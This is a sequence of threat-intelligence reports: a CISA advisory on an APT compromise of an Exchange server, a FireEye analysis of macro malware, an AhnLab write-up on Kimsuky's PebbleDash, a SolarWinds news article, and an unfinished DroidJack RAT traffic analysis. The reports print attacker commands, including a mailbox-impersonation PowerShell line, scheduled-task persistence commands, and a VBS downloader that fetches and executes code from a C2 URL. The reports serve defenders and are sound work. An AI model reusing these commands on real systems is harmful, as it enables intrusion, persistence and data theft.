organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted third-party identified APT activity on the victim’s network. Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN). Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2\he\debug directory. During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system. In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. In April 2021, APT actors used Impacket for network exploitation activities. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials. ### Use of Impacket CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network. The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization's multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange: ```powershell powershell add-pssnapin *exchange*; New-ManagementRoleAssignment -name:"Journaling-Logs" -Role:ApplicationImpersonation -User:<account> ``` This command gave the service account the ability to access other users’ mailboxes. The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. ### Use of Custom Exfiltration Tool: CovalentStealer The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files. CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim's documents using predetermined file paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times, and uses a 256-bit AES key for encryption. ## MITRE ATT&CK Tactics and Techniques MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. ### Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques **Initial Access** - **Technique Title:** Valid Accounts (T1078) Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. **Execution** - **Technique Title:** Windows Management Instrumentation (T1047) Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands. - **Technique Title:** Command and Scripting Interpreter (T1059) Actors abused command and script interpreters to execute commands. **Discovery** - **Technique Title:** System Network Configuration Discovery (T1016) Actors used the systeminfo command to look for details about the network configurations and settings. **Lateral Movement** - **Technique Title:** Remote Services: SMB/Windows Admin Shares (T1021.002) Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB). **Collection** - **Technique Title:** Archive Collected Data: Archive via Utility (T1560.001) Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration. **Command and Control** - **Technique Title:** Non-Application Layer Protocol (T1095) Actors used a non-application layer protocol for communication between host and Command and Control (C2) server. **Exfiltration** - **Technique Title:** Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002) The actor's CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder. ## DETECTION Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to: - Monitor logs for connections from unusual VPSs and VPNs. - Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). - Review logs for "impossible logins," such as logins with changing username, user agent strings, and IP address combinations. - Identify suspicious privileged account use after resetting passwords or applying user account mitigations. - Monitor for the installation of unauthorized software, including Remote Server Administration Tools. ## CONTAINMENT AND REMEDIATION Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry: - Report the incident to U.S. Government authorities and follow your organization’s incident response plan. - Reset all login accounts. - Monitor SIEM logs and build detections. - Enforce MFA on all user accounts. - Audit accounts and permissions. ## MITIGATIONS Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. ### Segment Networks Based on Function Implement network segmentation to separate network segments based on role and functionality. ### Manage Vulnerabilities and Configurations Update software, including operating systems, applications, and firmware, on network assets. ### Search for Anomalous Behavior Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior. ### Restrict and Secure Use of Remote Admin Tools Limit the number of remote access tools as well as who and what can be accessed using them. ### Implement a Mandatory Access Control Model Implement stringent access controls to sensitive data and resources. ### Audit Account Usage Monitor VPN logins to look for suspicious access. ## VALIDATE SECURITY CONTROLS In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization's security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. ## RESOURCES CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. ## ACKNOWLEDGEMENTS CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA. ## APPENDIX: WINDOWS COMMAND SHELL ACTIVITY Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. ### Table 2: Windows Command Shell Activity (Day 1) - **Command:** net share **Description / Use:** Used to create, configure, and delete network shares from the command-line. - **Command:** powershell dir **Description / Use:** An alias for the PowerShell Get-ChildItem cmdlet. - **Command:** systeminfo **Description / Use:** Displays detailed configuration information. - **Command:** route print **Description / Use:** Used to display and modify the entries in the local IP routing table. - **Command:** netstat **Description / Use:** Used to display active TCP connections. - **Command:** certutil **Description / Use:** Used to dump and display certification authority (CA) configuration information. - **Command:** ping **Description / Use:** Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity. - **Command:** taskkill **Description / Use:** Used to end tasks or processes. - **Command:** PowerShell Compress-Archive **Description / Use:** Used to create a compressed archive or to zip files. ### Table 3: Windows Command Shell Activity (Day 2) - **Command:** ntfsinfo.exe **Description / Use:** Used to obtain volume information from the New Technology File System (NTFS). - **Command:** WinRAR.exe **Description / Use:** Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe. ### Table 4: Windows Command Shell Activity (Day 3) - **Command:** powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e **Description / Use:** This module appears to acquire and export the Master File Table (MFT) for volume E. - **Command:** set.exe **Description / Use:** Used to display the current environment variable settings. - **Command:** dir.exe **Description / Use:** Used to display a list of a directory's files and subdirectories. - **Command:** tasklist.exe and find.exe **Description / Use:** Used to display a list of applications and services with their PIDs. - **Command:** ping.exe **Description / Use:** Used to send two ICMP echos to amazon.com. - **Command:** del.exe with the /f parameter **Description / Use:** Used to force the deletion of read-only files.
In the first week of May 2016, FireEye’s DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region. The threat actors appear to be performing initial reconnaissance against would-be targets, and the attacks caught our attention since they were using unique scripts not commonly seen in crimeware campaigns. In this blog, we discuss in detail the tools, tactics, techniques, and procedures (TTPs) used in these targeted attacks. The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East. The themes of the messages used in the attacks are related to IT Infrastructure, such as a log of Server Status Report or a list of Cisco Iron Port Appliance details. In one case, the content of the email appeared to be a legitimate email conversation between several employees, even containing contact details of employees from several banks. This email was then forwarded to several people, with the malicious Excel file attached. The macro first calls an `Init()` function that performs the following malicious activities: 1. Extracts base64-encoded content from the cells within a worksheet titled "Incompatible". 2. Checks for the presence of a file at the path `%PUBLIC%\Libraries\update.vbs`. If the file is not present, the macro creates three different directories under `%PUBLIC%\Libraries`, namely `up`, `dn`, and `tp`. 3. The extracted content from step one is decoded using PowerShell and dropped into two different files: `%PUBLIC%\Libraries\update.vbs` and `%PUBLIC%\Libraries\dns.ps1`. 4. The macro then creates a scheduled task with the name `GoogleUpdateTaskMachineUI`, which executes `update.vbs` every three minutes. Note: Due to the use of a hardcoded environment variable `%PUBLIC%` in the macro code, the macro will only run successfully on Windows Vista and subsequent versions of the operating system. One of the interesting techniques we observed in this attack was the display of additional content after the macro executed successfully. This was done for the purpose of social engineering – specifically, to convince the victim that enabling the macro did in fact result in the “unhiding” of additional spreadsheet data. Office documents containing malicious macros are commonly used in crimeware campaigns. Because default Office settings typically require user action in order for macros to run, attackers may convince victims to enable risky macro code by telling them that the macro is required to view “protected content.” In crimeware campaigns, we usually observe that no additional content is displayed after enabling the macros. However, in this case, attackers took the extra step to actually hide and unhide worksheets when the macro is enabled to allay any suspicion. In the following code section, we can see that the subroutine `ShowHideSheets()` is called after the `Init()` subroutine executes completely: ```vb Private Sub Workbook_Open() Call Init Call ShowHideSheets End Sub ``` After the macro successfully creates the scheduled task, the dropped VBScript, `update.vbs`, will be launched every three minutes. This VBScript performs the following operations: 1. Leverages PowerShell to download content from the URI `hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\dwn&m=d` and saves it in the directory `%PUBLIC%\Libraries\dn`. 2. Uses PowerShell to download a BAT file from the URI `hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\bat&m=d` and saves it in the directory `%PUBLIC%\Libraries\dn`. 3. Executes the BAT file and stores the results in a file in the path `%PUBLIC%\Libraries\up`. 4. Uploads this file to the server by sending an HTTP POST request to the URI `hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\upl&m=u`. 5. Finally, it executes the PowerShell script `dns.ps1`, which is used for the purpose of data exfiltration using DNS. During our analysis, the VBScript downloaded a customized version of Mimikatz. The customized version uses its own default prompt string as well as its own console title. Similarly, the contents of the BAT file downloaded are used to collect important information from the system, including the currently logged on user, the hostname, network configuration data, user and group accounts, local and domain administrator accounts, running processes, and other data. Another interesting technique leveraged by this malware was the use of DNS queries as a data exfiltration channel. This was likely done because DNS is required for normal network operations. The DNS protocol is unlikely to be blocked (allowing free communications out of the network) and its use is unlikely to raise suspicion among network defenders. The script `dns.ps1`, dropped by the macro, is used for this purpose. The script requests an ID (through the DNS protocol) from `go0gIe[.]com`. This ID will then be saved into the PowerShell script. Next, the script queries the C2 server for additional instructions. If no further actions are requested, the script exits and will be activated again the next time `update.vbs` is called. If an action is required, the DNS server replies with an IP with the pattern `33.33.xx.yy`. The script then proceeds to create a file at `%PUBLIC%\Libraries\tp\chr(xx)chr(yy).bat`. The script then proceeds to make DNS requests to fetch more data. Each DNS request results in the C2 server returning an IP address. Each octet of the IP address is interpreted as the decimal representation of an ASCII character; for example, the decimal number 99 is equivalent to the ASCII character ‘c’. The characters represented by the octets of the IP address are appended to the batch file to construct a script. The C2 server signals the end of the data stream by replying to a DNS query with the IP address `35.35.35.35`. Once the file has been successfully transferred, the BAT file will be run and its output saved as `%PUBLIC%\Libraries\tp\chr(xx)chr(yy).txt`. The text file containing the results of the BAT script will then be uploaded to the DNS server by embedding file data into part of the subdomain. Although this attack did not leverage any zero-days or other advanced techniques, it was interesting to see how attackers used different components to perform reconnaissance activities on a specific target. This attack also demonstrates that macro malware is effective even today. Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
# Novel Meteor Wiper Used in Attack that Crippled Iranian Train System Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
# APT Attack Cases of Kimsuky Group (PebbleDash) The ASEC analysis team has been keeping an eye on the trend of malware that attempts APT attacks, sharing findings on the blog. In this confirmed case, the PebbleDash backdoor was used in the attack, but logs of AppleSeed, Meterpreter, and other additional malware strains were also found. ## PebbleDash Backdoor The attacker sent a spear phishing email, prompting the user to download and run the compressed file after clicking the link for the attachment. The “Construction completion notice.pif” file can be seen when decompressing the compressed zip file. This file is a dropper that drops the PebbleDash backdoor, which performs actual malicious behaviors. The dropper drops PebbleDash in the `C:\ProgramData\thumbs.db.pif` path and runs it. At the same time, it also drops and runs the `C:\ProgramData\construction completion notice.pdf` file to trick the user into thinking that a normal PDF document file has been opened. PebbleDash is a backdoor that is installed through attachments of spear phishing emails; it can receive commands from the attacker to perform malicious behaviors. The commands it can receive from the C&C server include process and file tasks, downloading and uploading files, etc. As such, the attacker can obtain control of the system through PebbleDash. The current confirmed sample is overall similar to the form that has been found since this year, but there are some differences as well. Unlike previous samples that created the system32 folder in the execution path and copied the file with the name smss.exe to run recursion, the current one creates the system32 folder but installs the file as lsass.exe. PebbleDash requires an argument to run, and the strings that were used as the argument in 2021 were “zWbTLWgKymXMDwZ” and “MskulCxGMCgpGdM”. The current sample requires “njXbxuRQyujZeUAGGYaH”. When the malware is executed with “njXbxuRQyujZeUAGGYaH” as the argument, it copies itself in the same path of `\system32\lsass.exe` (`C:\ProgramData\system32\lsass.exe`). In this case, “iFfmHUtawXNNxTHEiAAN” and the initial run program path are given as arguments to be executed while the original file proceeds with self-deletion. As a result, you can check the following process in the infected system. ## VBS Malware The PebbleDash sample explained above is just one of the many cases; there were additional malware types found in the system and related systems. The first one is the VBS malware. The Kimsuky group uses the pif dropper that is similar to the dropper mentioned above when installing AppleSeed. The pif dropper that installs PebbleDash only installs the malware after showing a normal document file, but the one that installs AppleSeed installs VBS malware as well. The malware uses mshta.exe to download VBS from outside and runs it. The additional VBS script that is downloaded and executed through the process steals information and registers two task schedulers. The previous case used the following commands: ``` cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR "wscript //e:vbscript //b C:\ProgramData\Chrome\.NetFramework.xml" /f cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR "regsvr32 /s C:\ProgramData\Chrome\update.cfg" /f ``` The team could not find the pif dropper for the current case in the infected system, but it had the following task schedulers registered similar to the case mentioned above: ``` "wscript //e:vbscript //b C:\ProgramData\Chrome\.NetFramework.xml" "regsvr32 /s C:\ProgramData\Microsoft\Windows\update.cfg" ``` The collected “.NetFramework.xml” file has xml for extension, but it is actually a VBS malware which takes the form of a simple script. Its sole feature is downloading additional scripts from an external source and running them. ``` On Error Resume Next: Set rudrbvikmeaaaoja = CreateObject("MSXML2.ServerXMLHTTP.6.0"): rudrbvikmeaaaoja.open "POST", "hxxp://m.sharing.p-e[.]kr/index.php?query=me", False: rudrbvikmeaaaoja.Send: Execute(rudrbvikmeaaaoja.responseText): ``` At the time of the analysis, the C&C server had sent a simple command shown below. However, as the file is registered to the task scheduler and periodically runs commands after downloading them, it can perform additional malicious behaviors if the attacker sends different commands. ``` Set WShell=CreateObject("WScript.Shell"): retu=WShell.run("cmd /c taskkill /im mshta.exe /f", 0, true) ``` ## Additional Logs Up to this part, the analysis was done mostly on actually confirmed files. Given that the VBS malware is installed by the pif dropper that installs AppleSeed, logs of AppleSeed could also be found on ASD (AhnLab Smart Defense) infrastructure. The malware was installed on a path disguised as a normal software path and was executed with the command line shown below. Having such an install path is one of the typical characteristics of AppleSeed. ``` regsvr32.exe /s "C:\ProgramData\Firmware\ESTsoft\Common\ESTCommon.dll" ``` There were also logs for Meterpreter of Metasploit that tends to be installed in the system infected with AppleSeed. The above sections of this paper provided a brief explanation of the features the discovered malware types possess. ## File Detection - **Dropper/Win.LightShell** (2021.12.16.01) - **Backdoor/Win.PebbleDash.R458675** (2021.12.16.00) - **Downloader/VBS.Agent** (2021.12.08.00) ## Behavior Detection - **Execution/MDP.Wscript.M3817** ## IOC Info - **PebbleDash Dropper MD5**: 269ded557281d38b5966d6227c757e92 - **PebbleDash MD5**: 7211fed2e2ec624c87782926200d61fd - **VBS Downloader MD5**: 71fe5695bd45b72a8bb864636d92944b - **VBS Downloader MD5**: 25f057bff7de9d3bc2fb325697c56334 - **PebbleDash C&C**: hxxp://tools.macbook.kro[.]kr/update.php - **VBS Downloader C&C**: hxxp://m.sharing.p-e[.]kr/index.php?query=me Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories**: Malware Information **Tagged as**: AppleSeed, APT, Kimsuky, PebbleDash
# As Understanding of Russian Hacking Grows, So Does Alarm David E. Sanger, Nicole Perlroth, Julian E. Barnes January 2, 2021 On Election Day, General Paul M. Nakasone, the nation’s top cyberwarrior, reported that the battle against Russian interference in the presidential campaign had posted major successes and exposed the other side’s online weapons, tools, and tradecraft. “We’ve broadened our operations and feel very good where we’re at right now,” he told journalists. Eight weeks later, General Nakasone and other American officials responsible for cybersecurity are now consumed by what they missed for at least nine months: a hacking, now believed to have affected upward of 250 federal agencies and businesses, that Russia aimed not at the election system but at the rest of the United States government and many large American corporations. Three weeks after the intrusion came to light, American officials are still trying to understand whether what the Russians pulled off was simply an espionage operation inside the systems of the American bureaucracy or something more sinister, inserting “backdoor” access into government agencies, major corporations, the electric grid, and laboratories developing and transporting new generations of nuclear weapons. At a minimum, it has set off alarms about the vulnerability of government and private sector networks in the United States to attack and raised questions about how and why the nation’s cyberdefenses failed so spectacularly. Those questions have taken on particular urgency given that the breach was not detected by any of the government agencies that share responsibility for cyberdefense — the military’s Cyber Command and the National Security Agency, both of which are run by General Nakasone, and the Department of Homeland Security — but by a private cybersecurity company, FireEye. “This is looking much, much worse than I first feared,” said Senator Mark Warner, Democrat of Virginia and the ranking member of the Senate Intelligence Committee. “The size of it keeps expanding. It’s clear the United States government missed it.” “And if FireEye had not come forward,” he added, “I’m not sure we would be fully aware of it to this day.” Interviews with key players investigating what intelligence agencies believe to be an operation by Russia’s S.V.R. intelligence service revealed these points: - The breach is far broader than first believed. Initial estimates were that Russia sent its probes only into a few dozen of the 18,000 government and private networks they gained access to when they inserted code into network management software made by a Texas company named SolarWinds. But as businesses like Amazon and Microsoft that provide cloud services dig deeper for evidence, it now appears Russia exploited multiple layers of the supply chain to gain access to as many as 250 networks. - The hackers managed their intrusion from servers inside the United States, exploiting legal prohibitions on the National Security Agency from engaging in domestic surveillance and eluding cyberdefenses deployed by the Department of Homeland Security. - “Early warning” sensors placed by Cyber Command and the National Security Agency deep inside foreign networks to detect brewing attacks clearly failed. There is also no indication yet that any human intelligence alerted the United States to the hacking. - The government’s emphasis on election defense, while critical in 2020, may have diverted resources and attention from long-brewing problems like protecting the “supply chain” of software. In the private sector, too, companies that were focused on election security, like FireEye and Microsoft, are now revealing that they were breached as part of the larger supply chain attack. SolarWinds, the company that the hackers used as a conduit for their attacks, had a history of lackluster security for its products, making it an easy target, according to current and former employees and government investigators. Its chief executive, Kevin B. Thompson, who is leaving his job after 11 years, has sidestepped the question of whether his company should have detected the intrusion. Some of the compromised SolarWinds software was engineered in Eastern Europe, and American investigators are now examining whether the incursion originated there, where Russian intelligence operatives are deeply rooted. The intentions behind the attack remain shrouded. But with a new administration taking office in three weeks, some analysts say the Russians may be trying to shake Washington’s confidence in the security of its communications and demonstrate their cyberarsenal to gain leverage against President-elect Joseph R. Biden Jr. before nuclear arms talks. “We still don’t know what Russia’s strategic objectives were,” said Suzanne Spaulding, who was the senior cyberofficial at the Homeland Security Department during the Obama administration. “But we should be concerned that part of this may go beyond reconnaissance. Their goal may be to put themselves in a position to have leverage over the new administration, like holding a gun to our head to deter us from acting to counter Putin.” The U.S. government was clearly the main focus of the attack, with the Treasury Department, the State Department, the Commerce Department, the Energy Department, and parts of the Pentagon among the agencies confirmed to have been infiltrated. (The Defense Department insists the attacks on its systems were unsuccessful, though it has offered no evidence.) But the hacking also breached large numbers of corporations, many of which have yet to step forward. SolarWinds is believed to be one of several supply chain vendors Russia used in the hacking. Microsoft, which had tallied 40 victims as of Dec. 17, initially said that it had not been breached, only to discover this week that it had been — and that resellers of its software had been, too. A previously unreported assessment by Amazon’s intelligence team found the number of victims may have been five times greater, though officials warn some of those may be double counted. Publicly, officials have said they do not believe the hackers from Russia’s S.V.R. pierced classified systems containing sensitive communications and plans. But privately, officials say they still do not have a clear picture of what might have been stolen. They said they worried about delicate but unclassified data the hackers might have taken from victims like the Federal Energy Regulatory Commission, including Black Start, the detailed technical blueprints for how the United States plans to restore power in the event of a cataclysmic blackout. The plans would give Russia a hit list of systems to target to keep power from being restored in an attack like the one it pulled off in Ukraine in 2015, shutting off power for six hours in the dead of winter. Moscow long ago implanted malware in the American electric grid, and the United States has done the same to Russia as a deterrent. One main focus of the investigation so far has been SolarWinds, the company based in Austin whose software updates the hackers compromised. But the cybersecurity arm of the Department of Homeland Security concluded the hackers worked through other channels, too. And last week, CrowdStrike, another security company, revealed that it was also targeted, unsuccessfully, by the same hackers, but through a company that resells Microsoft software. Because resellers are often entrusted to set up clients’ software, they — like SolarWinds — have broad access to Microsoft customers’ networks. As a result, they can be an ideal Trojan horse for Russia’s hackers. Intelligence officials have expressed anger that Microsoft did not detect the attack earlier; the company, which said Thursday that the hackers viewed its source code, has not disclosed which of its products were affected or for how long hackers were inside its network. “They targeted the weakest points in the supply chain and through our most trusted relationships,” said Glenn Chisholm, a founder of Obsidian Security. Interviews with current and former employees of SolarWinds suggest it was slow to make security a priority, even as its software was adopted by America’s premier cybersecurity company and federal agencies. Employees say that under Mr. Thompson, an accountant by training and a former chief financial officer, every part of the business was examined for cost savings and common security practices were eschewed because of their expense. His approach helped almost triple SolarWinds’ annual profit margins to more than $453 million in 2019 from $152 million in 2010. But some of those measures may have put the company and its customers at greater risk for attack. SolarWinds moved much of its engineering to satellite offices in the Czech Republic, Poland, and Belarus, where engineers had broad access to the Orion network management software that Russia’s agents compromised. The company has said only that the manipulation of its software was the work of human hackers rather than of a computer program. It has not publicly addressed the possibility of an insider being involved in the breach. None of the SolarWinds customers contacted by The New York Times in recent weeks were aware they were reliant on software that was maintained in Eastern Europe. Many said they did not even know they were using SolarWinds software until recently. Even with its software installed throughout federal networks, employees said SolarWinds tacked on security only in 2017, under threat of penalty from a new European privacy law. Only then, employees say, did SolarWinds hire its first chief information officer and install a vice president of “security architecture.” Ian Thornton-Trump, a former cybersecurity adviser at SolarWinds, said he warned management that year that unless it took a more proactive approach to its internal security, a cybersecurity episode would be “catastrophic.” After his basic recommendations were ignored, Mr. Thornton-Trump left the company. SolarWinds declined to address questions about the adequacy of its security. In a statement, it said it was a “victim of a highly-sophisticated, complex and targeted cyberattack” and was collaborating closely with law enforcement, intelligence agencies, and security experts to investigate. But security experts note that it took days after the Russian attack was discovered before SolarWinds’ websites stopped offering clients compromised code. Billions of dollars in cybersecurity budgets have flowed in recent years to offensive espionage and pre-emptive action programs, what General Nakasone calls the need to “defend forward” by hacking into adversaries’ networks to get an early look at their operations and to counteract them inside their own networks, before they can attack, if required. But that approach, while hailed as a long-overdue strategy to pre-empt attacks, missed the Russian breach. By staging their attacks from servers inside the United States, in some cases using computers in the same town or city as their victims, according to FireEye, the Russians took advantage of limits on the National Security Agency’s authority. Congress has not given the agency or homeland security any authority to enter or defend private sector networks. It was on these networks that S.V.R. operatives were less careful, leaving clues about their intrusions that FireEye was ultimately able to find. By inserting themselves into the SolarWinds’ Orion update and using custom tools, they also avoided tripping the alarms of the “Einstein” detection system that homeland security deployed across government agencies to catch known malware, and the so-called C.D.M. program that was explicitly devised to alert agencies to suspicious activity. Some intelligence officials are questioning whether the government was so focused on election interference that it created openings elsewhere. Intelligence agencies concluded months ago that Russia had determined it could not infiltrate enough election systems to affect the outcome of elections, and instead shifted its attention to deflecting ransomware attacks that could disenfranchise voters, and influence operations aimed at sowing discord, stoking doubt about the system’s integrity, and changing voters’ minds. The SolarWinds hacking, which began as early as October 2019, and the intrusion into Microsoft’s resellers, gave Russia a chance to attack the most vulnerable, least defended networks across multiple federal agencies. General Nakasone declined to be interviewed. But a spokesman for the National Security Agency, Charles K. Stadtlander, said: “We don't consider this as an ‘either/or’ trade-off. The actions, insights, and new frameworks constructed during election security efforts have broad positive impacts for the cybersecurity posture of the nation and the U.S. government.” In fact, the United States appears to have succeeded in persuading Russia that an attack aimed at changing votes would prompt a costly retaliation. But as the scale of the intrusion comes into focus, it is clear the American government failed to convince Russia there would be a comparable consequence to executing a broad hacking on federal government and corporate networks. Intelligence officials say it could be months, years even, before they have a full understanding of the hacking. Since the extraction of a top Kremlin informant in 2017, the C.I.A.’s knowledge of Russian operations has been diminished. And the S.V.R. has remained one of the world’s most capable intelligence services by avoiding electronic communications that could expose its secrets to the National Security Agency, intelligence officials say. The best assessments of the S.V.R. have come from the Dutch. In 2014, hackers working for the Dutch General Intelligence and Security Service pierced the computers used by the group, watching them for at least a year, and at one point catching them on camera. It was the Dutch who helped alert the White House and State Department to an S.V.R. hacking of their systems in 2014 and 2015, and last month, they caught and expelled from the Netherlands two S.V.R. operatives accused of infiltrating technology companies there. While the group is not known to be destructive, it is notoriously difficult to evict from computer systems it has infiltrated. When the S.V.R. broke into the unclassified systems at the State Department and White House, Richard Ledgett, then the deputy director of the National Security Agency, said the agency engaged in the digital equivalent of “hand-to-hand combat.” At one point, the S.V.R. gained access to the NetWitness Investigator tool that investigators use to uproot Russian back doors, manipulating it in such a way that the hackers continued to evade detection. Investigators said they would assume they had kicked out the S.V.R., only to discover the group had crawled in through another door. Some security experts said that ridding so many sprawling federal agencies of the S.V.R. may be futile and that the only way forward may be to shut systems down and start anew. Others said doing so in the middle of a pandemic would be prohibitively expensive and time-consuming, and the new administration would have to work to identify and contain every compromised system before it could calibrate a response. “The S.V.R. is deliberate, they are sophisticated, and they don’t have the same legal restraints as we do here in the West,” said Adam Darrah, a former government intelligence analyst who is now director of intelligence at Vigilante, a security firm. Sanctions, indictments, and other measures, he added, have failed to deter the S.V.R., which has shown it can adapt quickly. “They are watching us very closely right now,” Mr. Darrah said. “And they will pivot accordingly.”
# Dissecting a RAT: Analysis of DroidJack v4.4 RAT Network Traffic This blog post was authored by Kamila Babayeva (@_kamifai_) and Sebastian Garcia (@eldracote_). The RAT analysis research is part of the Civilsphere Project, which aims to protect civil society at risk by understanding how attacks work and how we can stop them. This is the second blog of a series analyzing the network traffic of Android RATs from our Android Mischief Dataset, a dataset of network traffic from Android phones infected with Remote Access Trojans (RAT). In this blog post, we provide the analysis of the network traffic of the RAT02-DroidJack v4.4. ## RAT Details and Execution Setup The goal of each of our RAT experiments is to use the software ourselves and to execute every possible action while capturing all the traffic and storing all the logs. The DroidJack v.4.4 RAT is a software package that contains the controller software and builder software to build an APK. It was executed on a Windows 7 virtual machine with Ubuntu 20.04 as a host. The Android Application Package (APK) built by the RAT builder was installed in the Android virtual emulator called Genymotion with Android version 8. While performing different actions on the RAT controller (e.g., upload a file, get GPS location, monitor files, etc.), we captured the network traffic on the Android virtual emulator. The details about the network traffic capture are: - The controller IP address: 147.32.83.253 - The phone IP address: 10.8.0.57 - UTC time of the infection in the capture: 2020-08-01 14:10:43 UTC ## Initial Communication and Infection Once the APK was installed on the phone, it directly tries to establish a TCP connection with the command and control (C&C) server. To connect, the phone uses the IP address and the port of the controller specified in the APK. In our case, the IP address of the controller is 147.32.83.253 and the port is 1337/TCP. Also, DroidJack uses the port 1334/TCP as a default port and the phone connects to it later too. The controller IP 147.32.83.253 is the IP address of the Windows 7 virtual machine in our lab computer, meaning that the IP address is not connected to any indicator of compromise (IoC). In the connection, the C&C server was resetting it several times. After a while, a successful 3-way handshake was performed, and the connection was established. The C&C sends the next packet with the following data. The phone replies with some initialization parameters such as its phone model, Android version, and other parameters in plain text. ## Communication over 1337/TCP After establishing the communication over port 1337/TCP, there is a sequence of three NULL (00) bytes in the data of both packets. This sequence is followed by the hexadecimal number 0x3C, which represents the packet length in its decimal form, and after that, the phone sends the delimiter byte 0x03. The amount for the packet length does not include bytes for the NULL sequence and the byte for the packet length. In the small packets of length 1 or 2, there are no delimiters. Thus, only packets with data of more than 2 bytes sent from the C&C and the phone over 1337/TCP have the following format: ``` {00 00 00}{data length}{delimiter}{data in plain text} ``` After sending phone parameters, the phone is waiting for the command from the controller. While waiting for the command, the phone and the C&C maintain a heartbeat, which in this case is a couple of packets in both directions inside the same connection. They exchange packets every 8 seconds. After some time, when it is requested by the botmaster, the C&C server sends a packet with the command to the phone. The command is ‘File Voyager’, which aims to search through the file system of the phone. The commands from the C&C server to the phone seem to be predefined with a specific number. As a reply to the C&C command, the phone sends back an acknowledgment for the received command. The actual phone reply with data is sent in a different connection. For each new command received from the C&C, the phone establishes a new TCP connection over port 1334/TCP, sends the data, and closes the connection. ## Communication over 1337/UDP Even though there is a heartbeat over port 1337/TCP, the phone sends UDP packets to the C&C over port 1337 every 20 seconds. The data inside UDP packets is in plain text. ## Long Connections A lot of connections between the phone and the controller are over port 1334/TCP (new C&C - new connection) and only a few are over 1337/TCP. The connections over 1337/TCP are usually long, e.g., 1548.2056 seconds (approximately 40 minutes) or 1413.3981 seconds (approximately 31 minutes). This indicates that the connections between the phone and the controller are kept for long periods of time in order to answer fast. ## Detecting C&C using Slips Slips is a Python Intrusion Detection and Prevention system that uses machine learning to detect malicious behaviors in the network traffic of the devices. After Slips is run on the DroidJack v4.4 packet capture, it creates a profile for each IP that appeared in the traffic. Each profile contains flows sent from this IP. Considering that, Slips detects the C&C channel over 1334/TCP. Slips did 